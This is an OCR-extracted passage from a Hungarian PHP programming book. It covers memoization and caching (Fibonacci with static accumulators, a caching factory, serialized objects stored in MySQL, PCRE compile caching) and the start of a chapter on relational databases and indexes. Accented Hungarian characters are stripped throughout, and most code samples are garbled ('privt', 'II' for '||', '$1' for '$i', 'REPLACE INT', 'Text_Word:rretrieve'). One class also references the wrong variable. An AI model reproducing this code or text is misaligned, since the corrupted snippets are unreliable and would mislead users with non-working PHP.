Lthatjuk, hogy a Fib (4) -et egyszer, a Fib (3 ) -at ktszer, a Fib (2 ) -t pedig hromszor kell kiszmtanunk. St, ltalnossgban - olyan matematikai mdszerekkel, melyek trgyalsa meghaladn knyvnk kereteit az is kimutathat, hogy a Fibonacci szmok kiszmthatsga exponencilis bonyolultsg (0(1,6")). Ez azt jelenti, hogy a Fib (n) kiszmtsa legalbb 1,6" lpsbe telik. A 11.1. bra arra vilgt r, mirt is jelent ez nagy gondot.

11.1. bra

Bonyolultsgok sszehasonltsa.

A bonyolultsgszmtsrl

Amikor a szmtstudomny mveli az algoritmusok sebessgrl beszlnek, ltalban valamilyen rendrl" beszlnek, vagyis O(n), OCn2), vagy ppen 0(2") sebessgrl. De mit is jelentenek pontosan ezek az rtkek?

308

PHP fejleszts felsfokon

Az algoritmusok sszehasonltsnl gyakran arra vagyunk kvncsiak, miknt vltozik a teljestmnyk, amint a kiindulsi adathalmaz mrete n. Az OO becslsek erre a nvekedsre vonatkoznak, pontosabban egy fels korltot adnak a megvalstshoz szksges lpsek szmra n elem kiindulsi adathalmaz esetn. Egy tmb legnagyobb elemnek felkutatsra pldul a kvetkez algoritmust hasznlhatjuk: kezdjk a tmb elejnl s tegyk fel, hogy az els elem a legnagyobb; hasonltsuk ssze ezt a kvetkez elemmel - ha nagyobb, legyen ez a maximum. A mdszer alkalmazshoz teht sorra kell vennnk a tmb minden elemt, vagyis n lpsre van szksgnk (ahol n a tmb elemeinek szma). Ezt hvjuk 0(w)-nek, vagyis lineris idnek. Ez azt jelenti, hogy az algoritmus vgrehajtsnak ideje egyenesen arnyos a kiindulsi adathalmaz mretvel. Msik pldaknt emlthetnnk egy elem megtallst egy trstsos (asszociatv) tmbben. Ehhez meg kell keresnnk a kulcs hastrtkt (hash value), majd megtallni az elemet ez alapjn. Ez egy O(l), vagyis lland idej mvelet. Ez azt jelenti, hogy a tmb nvekedsvel egy elem elrsnek ideje nem vltozik. Vannak persze a linerisnl magasabb rend algoritmusok is. Itt a kiindulsi adathalmaz nvekedsnl gyorsabb temben n a szksges lpsek szma. A rendez algoritmusok ide tartoznak. Kzlk az egyik legegyszerbb a buborkrendezs, ami a kvetkezkppen mkdik: az els elemtl kezdve hasonltsuk ssze a tmb elemeit a szomszdjukkal; ha sorrendjk nem megfelel, cserljk meg ket. Folytassuk ezt mindaddig, mg a tmb rendezse megfelelv vlik. Az algoritmus mkdsnek alapja, hogy az egyes elemek buborkknt" szllnak felfel szomszdjaikhoz kpest, s ez megismtldik minden elemmel. Az albbiakban lerjuk a buborkrendezs algoritmusnak egy PHP megvalstst: function bubblesort(&$array) { $n = count($array); f o r ( $ I = $n; $1 >= 0; $1--) { // a tmb minden indexe esetn f o r ( $ j = 0 ; $j < $1; $ j + + ) { // haladjunk vgig innen kiindulva a tmb vgig if ($array[$j] > $array[$j+1]) { // ha az elemek sorrendje nem megfelel, cserljk meg a j. s // a j+1. elemet list($array[$j ], $array[$j+1]) = array($array[$j +1], $array[$j]);
} } } }

11. fejezet Szmtsi jrahasznosts

309

A lehet legrosszabb esetben (vagyis, ha a tmb elemei ppen fordtott sorrendben llnak), minden lehetsges csert el kell vgeznnk - ez (r?+ri)/2 csert jelent. Nagy szmok esetn az ri a lnyeges, vagyis egy 0(n2) rend algoritmusrl van sz. A 11.1, brn nhny bonyolultsg sszehasonlt grafikonjt lthatjuk.

Brmi, amivel cskkenthetjk a szksges mveletek szmt, hossz tvon jelents eredmnyeket hozhat. Esetnkben a megolds itt van az orrunk eltt, hiszen pp most lttuk, hogy miknt szmthatjuk ki a Fib (5) rtkt a sorozat korbbi elemeinek tbbszri kiszmtsval. Nem kell mst tennnk, mint elraktrozni ezeket az rtkeket egy trstsos tmbben, s jbli kiszmtsuk helyett hivatkozni rjuk. Tudjuk, hogy a trstsos tmbbl O(l) id alatt kiolvashatk az egyes elemek, gy ezzel a mdszerrel algoritmusunk lineriss (O(n)) tehet. Mondanunk sem kell, hogy ez jelents elrelps.

Megjegyzs

Bizonyra esznkbe jutott, hogy a Fibonacci-sorozat elemeinek kiszmtst gy is lineris idejv tehetjk, ha a fa alak nhv fggvnyt (hiszen a Fib ( n ) kiszmtshoz kt nhvs szksgeltetik) vonal alakv rjuk t (gy csak egy nhvsra van szksg, kvetkezskppen az id lineris lesz). Mindazonltal, a tapasztalatok azt mutatjk, hogy ha egy statikus trolt alkalmazunk, jobb teljestmnyt rhetnk el, mint egy trols nlkli, vonal alak algoritmussal, radsul az elbbi mdszer knnyebben alkalmazhat ms webes jrahasznostsi feladatokban.

Mieltt azonban eljtszadoznnk a fggvnyekkel, ksztennk kell nhny ellenrz eljrst, melyek megvizsgljk, hogy valban az eredeti sorozat rtkeit kaptuk-e meg:
<?

require_once 'PHPUnit/Framework/TestCase.php'; require_once 'PHPUnit/Framework/TestSuite.php'; require_once 'PHPUnit/TextUI/TestRunner.php'; require_once "Fibonacci.inc"; class FibonacciTest extends PHPUnit_Framework_TestCase { privt $known_values = array( 0 => 1, 1 => 1, 2 => 2, 3 => 3, 4 => 5,

310

PHP fejleszts felsfokon

5 6 7 8 9

=> => => => =>

8, 13, 21, 34, 55);

public function testKnownValues() { foreach ($this->known_values as $n => $value) { $this->assertEquals($value, Fib($n), " F i b ( $ n ) == " . F i b ( $ n ) . "
} }

!= $ v a l u e " ) ;

public function testBadlnput() { $this->assertEquals(0, Fib('hello'),


}

'bad i n p u t 1 ) ;

public function testNegativelnput() { $this->assertEquals( 0 , F i b ( - l ) );


} }

$suite = new PHPUnit_Framework_TestSuite(new Reflection_Class('FibonacciTest')) ; PHPUnit_TextUI_TestRunner::run($suite) ;


?>

Most pedig kvetkezzk a gyorstr! Az alapgondolat mindssze annyi, hogy a sorozat korbban kiszmtott rtkeit egy statikus tmbben troljuk. Mivel e tmbt minden j rtk kiszmtsakor bvtjk, gyjttmbnek (accumulator array) hvjuk. me, a Fib () fggvny egy statikus gyjtvel: function Fib($n) { static $fibonacciValues = array( 0 => 1, 1 => 1); if(!is_int($n) II $n < 0) { return 0; } If( !$fibonacciValues[$n]) { $fibonacciValues[$n] = Fib($n - 2) + Fib($n - 1); } return $fibonacciValues[$n];
}

Gyjtknt alkalmazhatunk statikus osztlyvltozkat is. Ez esetben a Fib () fggvny helyt a Fibonacci : :number () veszi t, amely a $values osztlyvltozt alkalmazza: class Fibonacci { static $values = array( 0 => 1, 1 => 1 ); public static function number($n) { if(!is_int( $ n ) II $n < 0) {

11. fejezet Szmtsi jrahasznosts

311

return 0;
}

if ( !self: :$values[$n]) { self::$values[$n] = self::$number[$n -2]


}

+ self::$number[$n - 1];

return self::$values[$n];
} }

Ebben a pldban a statikus osztlyvltoz bevonsa semmiben sem vitt elbbre. Az ilyen gyjtk hasznlata akkor igazn kifizetd, ha egyet tbb fggvny is hasznlhat. A 11.2. brn a Fib (5) szmtsnak j fjt lthatjuk. Ha gy tekintnk erre a fra, mint egy kiss eltorztott hromszgre, lthatjuk, hogy az elvgzend szmtsok a bal oldalon lthatk, mg a trolt adatok a jobb oldalhoz kzel helyezkednek el. Lthatjuk teht, hogy itt (n+V)+n, vagyis 2n+l szmtst kell elvgeznnk, vagyis a szmtsi igny O(w). Vessk ssze ezt a 11.3. brval, ahol az eredeti nhv megvalstst lthatjuk, melyben minden csompontot ki kell szmtanunk.

11.2. bra Megfigyelhetjk, hny mvelet szksges a Fib(5) kiszmtshoz, ha a mr megkapott rtkeket troljuk.

312

PHP fejleszts felsfokon

11.3. bra Az eredeti gyorstr nlkli megvalstsban szksges szmtsok. A teljestmny pontosabb mrsrl a 19. fejezetben szlunk bvebben, de e kt eljrst mr kzepes nagysg n-ekre (akr kt szmjegyeket is vehetnk) sszehasonltva is jl lthat a klnbsg az exponencilis s a lineris bonyolultsg kztt. Sajt gpemen a Fib (50) -et a gyorstras mdszer egy msodpercen bell visszaadja, mg az egyszer algoritmus durva szmtsok szerint ht napig kszkdne ugyanezzel a feladattal.

jrahasznosthat adatok trolsa egy krelmen bell


Lelki szemeimmel szinte ltom, ahogy sok olvas felkilt: Nagyszer! Ha egy Fibonacci szmokrl szl webhelyt kell ksztenem, jl elboldogulok majd!" Nos, szerencsre a matematikai pldn bemutatott mdszer szlesebb krben is alkalmazhat - st, knnyen bvthet gyakorlatiasabb feladatok megoldsra. Vegyk a 6. fejezetben ksztett Text_Statistics osztlyt, melynek segtsgvel kiszmthattuk a Flesch olvashatsgi pontszmot. A dokumentum minden szavhoz ksztettnk egy Word objektumot, s gy meg tudtuk hatrozni, hny sztagbl ll. Ha dokumentumunk mrete elegenden nagy, bizonyra elfordulnak benne ismtld szavak, gy teht, ha a szavak Word objektumait, valamit sztagszmt trolni tudjuk, jelentsen cskkenthetjk a dokumentum tvizsglsra fordtott idt.

11. fejezet Szmtsi jrahasznosts

313

A sztagok szmnak trolsa hasonlkppen fest, mint a Fibonacci-sorozat elemei csak ksztsnk egy $_numSyllables nev osztlytulajdonsgot, s troljuk benne a sztagszmot, amint kiszmtottuk: class Text_Word { public $word; protected $_numSyllables = 0; // // nem mdostott tagfggvnyek // public function numSyllables() { // ha mr megszmoltuk a sztagokat ebben a Word objektumban, // egyszeren adjuk vissza az eredmnyt if($this->_numSyllables) { return $this->_numSyllables;
}

$scratch = $this->mungeWord($this->word); // Sztvlasztjuk a szt a magnhangzk (a , e, // esetnkben az. y) mentn $fragments = preg_split("/[^aeiouy]+/" , $scratch); if(!$fragments[0]) { array_shift( $ f ragments);
}

i, o, u s

if(!$fragments[count( $ f ragments) - 1 ] ) array_pop($fragments);


}

// mindenkppen troljuk a sztagszmot a tulajdonsgban $this->_numSyllables += $this->countSpecialSyllables($scratch); if(count($fragments)) { $this->_numSyllables += count($fragments);


}

else { $this->numSyllables = 1;
}

return $this->_numSyllables;
} }

Most ksztnk egy gyorstrat a Text_Word objektumok szmra is. Ezeket az objektumokat elllthatjuk egy gyrtosztly (factory class) segtsgvel, melyben egy statikus trstsos tmb tartalmazza a Text_Word objektumokat a nevkkel indexelve: require_once "Text/Word.inc"; class CachingFactory { static $objects; public function Word($name)

314

PHP fejleszts felsfokon

If(iself::$objects[Word][$name]) { Self::$objects[Word][$name] = new Text_Word($name); } return self::$objects[Word][$name]; } }

Ez a megvalsts, jllehet tiszta, mgsem marad rejtve, hiszen a hvsok eredeti alakja ez: $obj = new Text_Word($name); s ezt erre az alakra kell hozni: $obj = CachingFactory::Word($name); Nha azonban ez az jrapts komolyabb nehzsgekbe tkzik. Ilyenkor dnthetnk egy kevsb elegns megolds mellett, s a gyorstr megvalstst elhelyezhetjk magban a Text_Word osztlyban: class Text_Word { public $word; privt $_numSyllables = 0; static $syllableCache; function ____ construct($name) { $this->word = $name; If ( !self::$syllableCache[$name]) { self::$syllableCache[$name] = $this->numSyllables();
}

$this->$_numSyllables = self::$syllableCache[$name];
} }

Sz mi sz, ez valdi barkcsmunka. Ezrt ht, minl sszetettebb vlik a Text_Word osztly, annl nehezebb dolgunk akad ezzel a mdszerrel. Mivel eredmnynk a kvnt Text_Word objektum egy pldnya, ha szeretnnk valami hasznot hajtani a sztagok szmnak trolsbl, megszmolsukat az objektum konstruktorban kell elvgeznnk. Minl tbb adatot szeretnnk kapni egy szrl, annl kltsgesebb lesz a konstruktr vgrehajtsa. Kpzeljk csak el, mi lenne, ha bcrendi s szinonimakeresst is be szeretnnk pteni a Text_Word osztlyba. Ahhoz, hogy csak egyetlen keressi mveletre legyen szksg, azt elzetesen mr a konstruktorban el kell vgeznnk. A kltsgek (mind az erforrsok felhasznlsban, mind pedig a bonyolultsg tern) hamar felhalmozdnak.

11. fejezet Szmtsi jrahasznosts

315

Mindezekkel szemben, mivel a gyrtfggvny hivatkozst ad vissza az objektumra, csak egyszer kell elvgeznnk az egyes szmtsokat, emellett azonban nem kell mindent elre kiszmolnunk, amire esetlegesen szksg lehet. A PHP 4-ben lehetsgnk van arra, hogy a gyrat kzvetlenl az osztly konstruktorba csempsszk: // PHP 4 kd - nem felel meg a PHP 5-nek $wordcache = array(); function Word($name) { global $wordcache; if(array_key_exists($name, $wordcache)) { $this = $wordcache[$name];
}

else { $this->word = $name; $wordcache[$name] = $this;


} }

A $this trsa nem tmogatott a PHP 5-ben, gy jobban jrunk, ha gyrtosztlyt hasznlunk. Ez amgy is egy jl bevlt mdszer, s lehetv teszi, hogy gyorstrunk kdjt elvlasszuk a Text_Word osztlytl.

jrahasznosthat adatok trolsa krelmek kztt


Gyakran merl fel a krds: miknt vihetjk t objektumainkat a krelmek kztt? Az alaptlet egyszer: ksztsk el az objektumot az egyik krelemben, szolgljuk ki a krelmet, majd a msik krelemben hivatkozzunk erre az objektumra. Szmos Java rendszer alkalmazza ezt a mdszert bevsrlkocsik, felhasznli munkamenetek, vagy ppen adatbzis-kapcsolatok fenntartsra, de hasznljk olyan lehetsgek megvalstsra is, amelyeknek folyamatosan rendelkezsre kell llniuk egy webkiszolgl folyamatban vagy egy felhasznl teljes munkamenetben egy webhelyen. E mdszer igen elterjedt a Java programozk krben, de (jllehet taln kisebb mrtkben) npszer a mod_perl fejlesztk kzssgben is. Mind a Java, mind a mod_perl egy lland futsidej krnyezetet gyaz be az Apache kiszolglba. Ez a krnyezet rtelmezi s lefordtja a programokat s az oldalakat, ezt kveten pedig jra s jra vgrehajtja azokat. gy is felfoghatjuk ezt, mintha elindtannk a futsidej krnyezetet, majd gy hajtannk vgre az oldalakat, mintha egy fggvnyt hvnnk meg egy ciklusba gyazva (a lefordtott pldny ismtelt hvsval). Amint a 20. fejezetben majd lthatjuk, a PHP nem ezt a mdszert kveti. Rendelkezik ugyan lland rtelmezvel, de minden krelem kezdetn tiszta lappal indt.

316

PHP fejleszts felsfokon

Ez azt jelenti, hogy brmilyen vltozt is hozunk ltre egy oldalon, az (a teljes szimblumtblval egytt) megsemmisl a krelem vgn. Ez trtnik az albbi vltozval is: <? $string = 'he l l o world'; ?>

Hogyan birkzzunk meg ezzel a problmval? Miknt juttassunk t egy objektumot az egyik krelembl a msikba? A 10. fejezetben lthattunk egy megoldst nagyobb adatmennyisgekre, most azonban aprbb rszletekre, kztes adatokra, egyedi objektumokra sszpontostunk. Hogyan trolhatjuk teht adatainkat a krelmek kztt? Nos, a rvid vlasz egyszeren az, hogy ltalban nem is igazn szeretnnk trolni ket. Ltezik persze hasznlhat mdszer - a serialize () fggvny segtsgvel tetszleges adatszerkezetet (objektumot, tmbt, vagy amit csak akarunk) sorosthatunk, trolhatunk, majd ksbb kiolvashatjuk s visszaalakthatjuk. Van itt azonban nhny aprsg, ami kis adatmennyisgnl knnyen elveheti a kedvnket e mdszer hasznlattl: Az alacsony kltsggel elkszthet objektumok esetben a pldnyosts hatkonyabb, mint a sor visszaalaktsa. Ha egy objektumnak nagyon sok pldnya ltezik (gy ll a helyzet a Word objektummal, illetve egy webhely felhasznlit ler objektumokkal), a gyorstr hamar megtelik, s ki kell tallnunk valamilyen mdszert a sorostott objektumok elavulsnak jelzsre. Amint a korbbi fejezetekben mr emltettk, a gyorstrak sszehangolsa s rvnytelentse nehzsgeket okozhat elosztott rendszereken.

Mint sok ms esetben, most is mrlegelnnk kell: A nagy kltsg objektumok pldnyostst elkerlhetjk, de ehhez fenn kell tartanunk egy gyorstrat. Ha nem vigyzunk, knnyen megeshet, hogy ms, fontosabb adatszerkezetek rovsra hasznljuk ki tlzottan a gyorstrat, de msik vgletknt az is elfordulhat, hogy nem hasznljuk ki annyira, hogy megtrljenek mkdsnek kltsgei. Vissza kell azonban trnnk eredeti krdsnkre - hogyan troljunk egyes objektumokat kt krelem kztt? Nos, alkalmazhatjuk r a serialize () fggvnyt, majd az eredmnyt trolhatjuk osztott memriaszegmensben, adatbzisban, vagy akr fjlban is. A Word osztlyban ennek megvalstsra kszthetnk egy kir s egy beolvas tagfggvnyt. Esetnkben a trols egy MySQL alap gyorstrban trtnik, amellyel egy, a 2. fejezetben bemutatott elvont kapcsolati rtegen keresztl rintkeznk: class Text_Word { require_once 'DB.inc'; // korbbi osztlymeghatrozsok // . .. function storeO {

11. fejezet Szmtsi jrahasznosts

317

$data = serialize($this); $db = new DB_Mysql_TestDB; $query = "REPLACE INT ObjectCache (objecttype, keyname, data, modified) VALUES('Word', :1, :2, now())"; $db->prepare($query)->execute($this->word, $data); } function retrieve($name) { $db = new DB_Mysql_TestDB; $query = "SELECT data from ObjectCache where objecttype = 'Word' and keyname = :1"; $row = $db->prepare($query)->execute($name)->fetch_assoc() ; if($row) { return unserialize($row[data]); } else { return new Text_Word($name); } } }

Lekrdezsi adatok sszetzse

A 2. fejezetben ksztett elvont adatbzisrteg elintzi helyettnk az adatok soros sszefzst. Ha nem hasznlunk elvonatkoztatsi rteget, a mysql_real_escape_string () fggvnyt kell futtatnunk a serialize() kimenetn.

Ahhoz, hogy j Text_Word vltozatunkat sikerrel hasznljuk, el kell dntennk, mikor troljuk az objektumot. Mivel a gyorstr szerepe itt a szmtsi feladatok cskkentse, rdemes az ObjectCache objektumot a numSyllables tagfggvnyben, a szmtsok elvgzse utn frissteni: function numSyllables() { if($this->_numSyllables) { return $this->_numSyllables;
}

$scratch = $this->mungeWord($this->word); $fragments = preg_split("/[Aaeiouy]+/", $scratch); if(!$fragments[0]) { array_shift($fragments) ;


}

if(!$fragments[count($fragments) array_pop($fragments);
}

- 1])

318

PHP fejleszts felsfokon

$this->_numSyllables += $this->countSpecialSyllables($scratch); if(count($fragments) ) { $this->_numSyllables += count( $ f ragments); } else { $this->_numSyllables = 1;


}

// troljuk az objektumot, mieltt visszaadnnk $this->store(); return $this->_numSyllables;


}

Ahhoz, hogy felhasznljuk a gyorstrban trolt elemeket, mdostanunk kell a gyrtosztlyt gy, hogy ha bels gyorstrban nem jr sikerrel, keressen a MySQL trban: class CachingFactory { static $objects; function Word($name) { if(!self::$objects[Word][$name]) { self::$objects[Word][$name] = Text_Word:rretrieve($name);
}

return self::$objects[Word][$name];
} }

A gyorstr fenntartsra itt is meglehetsen sok erfesztst kell fordtanunk. Az elzekben ltott mdostsok mellett szksg van egy olyan krnyezetre is, amely trli a gyorstr egyes elemeit, ha az megtelt. A teltds pedig meglehetsen gyorsan bekvetkezhet. Ha megnznk egy sort a gyorstrban, lthatjuk, hogy egy Word objektum sorostott vltozata meglehetsen nagy: mysql> select data from ObjectCache where keyname = 'the'; +----+ data +----+ 0:4:"word":2:{s: 4: "word";s:3:"t h e"; s: 13: "_numSyllables";i:0;} +----+ 1 row in set ( 0. 0 1 sec) Ez 61 bjtnyi adatot jelent, aminek a tbbsgt az osztly adatai teszik ki. A PHP 4-ben a helyzet mg rosszabb, mivel ez a nyelv nem tmogatja a statikus osztlyvltozkat, gy minden sorostott vltozatban helyet kaphat a sztagok kivteleinek tmbje. Ezek a csomagok termszetknl fogva szeretnek nagyok lenni, gy hasznlatuk gyakran felesleges tlzs.

11. fejezet Szmtsi jrahasznosts

319

A folyamatok kzti gyorstrak ilyen hasznlatval meglehetsen nehz jelents teljestmnynvekedst elrni. gy pldul a Text_Word osztlyban az elzekben felvzolt gyorstrszerkezet gyakorlatilag nem eredmnyezett sebessgnvekedst. Mindezzel szemben a gyrtosztlyt hasznl mdszerrel (sajt tesztrendszeremen) durvn nyolcszor gyorsabb futst lehetett elrni, amikor a Text_Word objektumok krelmen belli jrabevezetsnek vettk elejt. ltalban teht jobb elkerlni a krelmek kzti trolst - ha adattorldst tallunk, keressnk egy tfogbb megoldst. Csak klnsen sszetett objektumok s jelents erforrsokat felemszt adatszerkezetek esetn rdemes a folyamatok kztt kismret adatokat megosztani. Egybknt meglehetsen nehz a folyamatok kzti adatcsere kltsgeit ellenslyozni.

Szmtsi jrahasznosts a PHP-ben


Maga a PHP is tbb terleten alkalmazza a szmtsi jrahasznosts mdszert.

PCRE-k
A Peri-megfelel szablyos kifejezsekhez (Perl Compatible Regular Expression, PCRE) olyan fggvnyek kapcsoldnak, mint a preg_match (), a preg_replace (), a preg_split (), vagy a preg_grep (). A nv onnan ered, hogy e kifejezsek szerkezete nagymrtkben hasonlt a Perl szablyos kifejezseihez. A PCRE-k nem rszei a Perinek, valjban egy teljesen fggetlen megfelelsgi knyvtrat alkotnak, melyet Phillip Hazel ksztett, s amit jelenleg megkapunk a PHP-vel. rdemes tudnunk, hogy a preg_match vagy a preg_replace mkdse valjban kt lpsbl ll, melyek rejtve maradnak a felhasznlk eltt. Az els lps a pcre_compile () fggvny hvsa (ez a PCRE C knyvtrban tallhat). Ez a fggvny a szablyos kifejezs szvegt olyan alakra hozza, ami mr rthet a PCRE knyvtr ms fggvnyei szmra. A fordtst kveten, a msodik lpsben a pcre_exec () fggvnnyel a rendszer megkeresi az egyezseket (ez a fggvny is a PCRE C knyvtrban tallhat). A PHP mindezt elrejti a szemnk ell. A preg_match () vgrehajtja a pcre_compile () fggvnyt, majd trolja az eredmnyt, hogy ne kelljen feleslegesen jra futtatni. A PCRE fggvnyek megvalstsa egy bvtmnyben tallhat, gy sokkal jobban ellenrizheti a hozz tartoz memriaterletet, mint a felhasznli PHP kd. Ez lehetv teszi, hogy e fggvnyek a lefordtott szablyos kifejezseket ne csak egy krelmen bell, hanem a krelmek kztt is troljk. Hossz tvon ez gyakorlatilag teljesen kikszbli a szablyos kifejezsek fordtsa okozta terhelst. Ez a mdszer igencsak hasonlt a korbban a Text_Word objektum kapcsn megismert, gyrtosztly nlkli pldhoz.

320

PHP fejleszts felsfokon

Elemszm s hossz Az albbi kdsorok vgrehajtsakor a PHP nem halad vgig a $array tmb elemein, megszmolva egyenknt az elemeit: $array = array( ' a ' , ' b ' , ' c ' , l , 2 , 3 ) ; $size = count($array); A mdszer ennl kifinomultabb ltezik egy bels szmll, melynek rtke minden elem hozzadsnl eggyel n, elemek trlsnl pedig cskken. A count () fggvny ltja a tmb valdi bels szerkezett, gy egyszeren e szmll rtkvel tr vissza, a mvelet bonyolultsga teht O(l). Vessk ssze ezt azzal, ha vgig kellene haladnunk a tmb elemein a szmolshoz - ez nyilvnvalan egy O(n) mvelet. Hasonlan, ha egy karakterlnchoz rendelnk egy vltozt (vagy karakterlncc alaktjuk), a PHP kiszmtja s trolja a hosszt egy bels vltozban. Ha ezek utn az strlen () fggvnyt alkalmazzuk erre a vltozra, ezt az elre kiszmtott hosszt kapjuk vissza. Ez a trols ltfontossg a binris adatok kezelse szempontjbl is, hiszen a httrben mkd strlen () C knyvtrfggvny (melyet a PHP strlen () fggvnye hen utnoz) a binris adatok szempontjbl nem megbzhat.

Binris adatok

A C-ben nincsenek olyan bonyolult adattpusok, mint a string. Egy C-beli karakterlnc valjban egy ASCII karakterekbl ll tmb, melyet a null karakter zr (nem a 0 karakter, hanem a 0 kd karakter). A C beptett karakterlnc-kezel fggvnyei (strlen, strcmp, s msok, melyek kzl soknak ltezik megfelelje a PHP-ben) akkor gondoljk, hogy egy karakterlnc vgre rtek, ha beletkznek a null karakterbe. A binris adatok ugyanakkor teljesen tetszleges karakterekbl llhatnak, kztk null karakterekbl is. A PHP nem rendelkezik kln tpussal binris adatok szmra, gy a PHP karakterlncainak ismernik kell a hosszukat, hogy az strlen s az strcmp ne akadjon meg a null karaktereken.

Tovbbi olvasmnyok
A szmtsi jrahasznosts tmakrt a legtbb egyetemi szint, algoritmusokrl szl knyv rinti. Thomas Cormen, Charles Leiserson, Ron Rivest s Clifford Stein knyve, az Introduction to Algorithms msodik kiadsa alapknyv e tren, jl rthet alkoddal rt pldkkal. Slyos tveds azt hinni, hogy az algoritmus megvlasztsa nem lnyeges egy olyan magasszint nyelven val programozsnl, mint a PHP. Remlhetleg e fejezet pldi elg meggyz bizonytkot szolgltattak erre.

Elosztott alkalmazsok

Adatbzisok hasznlata
A relcis adatbzis-kezel rendszerek fontos szerepet tltenek be napjaink alkalmazsaiban. Hatkony s ltalnosan alkalmazhat eszkzket biztostanak a maradand adatok kezelsre, lehetv tve ezzel, hogy a fejlesztk tbbet foglalkozhassanak az alkalmazs valdi feladataival. Jllehet az adatbzis-kezelk nagy knnyebbsget jelentenek, mgis csak szksg van nmi odafigyelsre a hasznlatukhoz. Kdot kell rnunk az alkalmazs s az adatbzis-kezel kzti kapcsolat megvalstsra, alkalmasan meg kell terveznnk az adatok trolsra hasznlt tblkat, tovbb a tblkon alkalmazott lekrdezseket a lehet leghatkonyabban kell felptennk. Az adatbzis-felgyelet nmagban komoly mestersg, de mivel az adatbzis-kezelk szinte mindentt jelen vannak, minden fejlesztnek ismernie kell ket annyira, hogy megllapthassa, melyek a j s melyek a rossz megoldsok.

Nhny fontos kifejezs

Az adatbzis kifejezs alatt ltalban valamilyen maradandan trolt adathalmazt, illetve az ennek kezelsre szolgl rendszert rtik. Az ltalnos trgyalsban mg elfogadhatk ilyen pontatlanul rtelmezett fogalmak, de ha a rszletekbe kvnunk bocstkozni, mr alaposabb meghatrozsokra lesz szksgnk. Lssunk most nhny ilyen, alaposabb meghatrozst: adatbzis Maradand adatok halmaza. adatbzis-kezel rendszer Olyan rendszer, amely felel az adatok kezelsrt - gy felgyeli az adatok elrst, felel a lemezen trtn trolsrt stb. relcis adatbzis Adatbzis, amely tblkra pl. relcis adatbzis-kezel Adatbziskezel, amely relcis adatbzist tart fenn. Ilyen rendszerekben a lekrdezsek eredmnyt tblkban kapjuk vissza.

324

PHP fejleszts felsfokon

tbla

Adathalmaz, amely kt rszre oszthat: egy fejlcre, amely meghatrozza az oszlopok tpust s nevt, valamint nulla vagy tbb sorra.

Az adatbzisokkal kapcsolatos fogalmak teljes ttekintst megtallhatjuk a http://www.ocelot.ca/glossary.htm cmen.

Az adatbzisok optimalizlsa igen fontos feladat, mivel az alkalmazsokban tbbnyire ppen az adatbzisokkal val egyttmkds jelenti a szk keresztmetszetet. Mieltt azonban szt ejtennk a lekrdezsek helyes sszelltsrl s hangolsrl, rdemes elidznnk az adatbzis-kezel rendszerek ltalnos felptsnek vizsglatnl. Fejezetnkben ezek mkdst prbljuk megrteni, a hatkony lekrdezsek tervezsnek szempontjbl. Gyors ttekintst kapunk emellett az adatelrsi mdokrl, megismerve nhny kzkedvelt eljrst a PHP adatszerkezeteinek adatbzisba rsra. Vgezetl megismerkednk nhny mdszerrel, melyekkel felgyorsthatjuk az adatcsert az adatbzisokkal.

Ismerkeds az adatbzisok s lekrdezsek mkdsvel


A relcis adatbzis-kezelk mkdsnek alapja, hogy az adatokat tblkba rendezik. Ezek sorokbl llnak, melyeknek meghatrozott formtumuk van. Ahhoz, hogy az adatbzisban kereshessnk s kivlaszthassuk a megadott felttelnek megfelel adatokat, szksg van egy nyelvre, melyen lerhatjuk utastsainkat. Ilyen nyelv termszetesen ltezik, a neve SQL. Adatbzisunk relcis, hiszen kapcsolatokat (relcikat) hatrozhatunk meg a klnbz tblk mezi kztt, gy az adatokat logikailag elklnl tblkba csoportosthatjuk, melyek klnbz sszefggsekben hasznlhatk. A rendszer a tblkat lemezen rgztett fjlok alakjban trolja. Az alkalmazott adatbziskezeltl fggen a tblk s a httrben meghzd fjlok kztt egy-egy, egy-sok (egy-tbb), illetve sok-sok (tbb-tbb) tpus kapcsolat lehet. A tblban szerepl soroknak nincs meghatrozott sorrendjk, gy ha egyb szerkezeti adatok nem llnak rendelkezsre, az sszes sort meg kell vizsglnunk, hogy megtalljuk az adott felttelnek megfelelket. Ezt hvjk teljes tblapsztzsnak vagy teljes tbls keressnek, ami termszetesen meglehetsen lassv vlik, ahogy a tbla mrete n. A lekrdezsek hatkonyabb ttelre a relcis adatbzis-kezelk indexeket alkalmaznak. Ezek klnleges tblk, melyek egy kulcs alapjn rendezettek, s megmutatjk a sorok kulcs szerinti helyzett. Az alkalmazott adatszerkezet adatbzis-kezelnknt vltoz lehet. (Sok esetben az indexels mdjt tbb algoritmus kzl magunk vlaszthatjuk ki.)

12. fejezet Adatbzisok hasznlata

325

A 12.1. brn egy adatbzis-keresst lthatunk egy B-fa tpus indexszel. Figyeljk meg, hogy miutn megkerestk a kulcs rtkt az indexben, azonnal odaugorhatunk a megfelel sorhoz. Az adatbzisok tbliban tbbnyire ltezik elsdleges kulcs. Jelen trgyals szempontjbl ez gy tekinthet, mint egy index, amely egy vagy tbb sorra pl. Az index oszlopainak a kvetkez tulajdonsgokkal kell rendelkeznik: nem tartalmazhatnak null rtket, s sszessgkben egyedinek kell lennik minden sor esetn. Az elsdleges kulcsok termszetes mdon egyedi indexet adnak, vagyis az index minden kulcsa egyetlen sort azonost.

12.1. bra

Keress B-fa indexszel.

Megjegyzs

Egyes adatbzis-kezelk lehetv teszik olyan tblatpusok hasznlatt, melyekben az adatokat az index sorrendjben troljk. Ilyen pldul az Oracle IOT (Index Organized Table) tblatpusa. Bizonyos adatbzis-kezelk esetben az indexeket pthetjk egy vagy tbb mez egyttesre alkalmazott fggvny rtkeire is. Ezeket fggvny alap indexeknek nevezzk.

326

PHP fejleszts felsfokon

A gyakran hasznlt lekrdezsek esetben az indexek alkalmazsa jelents elnykkel kecsegtet, hiszen meglehetsen felgyorstjk az adatok elrst. Ha azonban lekrdezsnket csak ritkn hasznljuk, a kifejezetten ehhez ltrehozott indexek ronthatjk az adatbzis teljestmnyt. Ennek oka az, hogy az indexek ksztse s fenntartsa idt ignyel a processzortl s a lemeztl. Klnsen igaz ez olyan tblknl, melyek frisstse gyakori. Mindez azt jelenti, hogy meg kell vizsglnunk a gyakran hasznlt lekrdezseket, ellenrizve, hogy rendelkeznek-e a hatkony mkdshez szksges indexekkel. Szksg esetn ne habozzunk mdostani az indexet vagy a lekrdezst. A vizsglat mdszerrl a ksbbiekben, a Lekrdezsek vizsglata az EXPLAIN segtsgvel cm rszben szlunk.

Megjegyzs

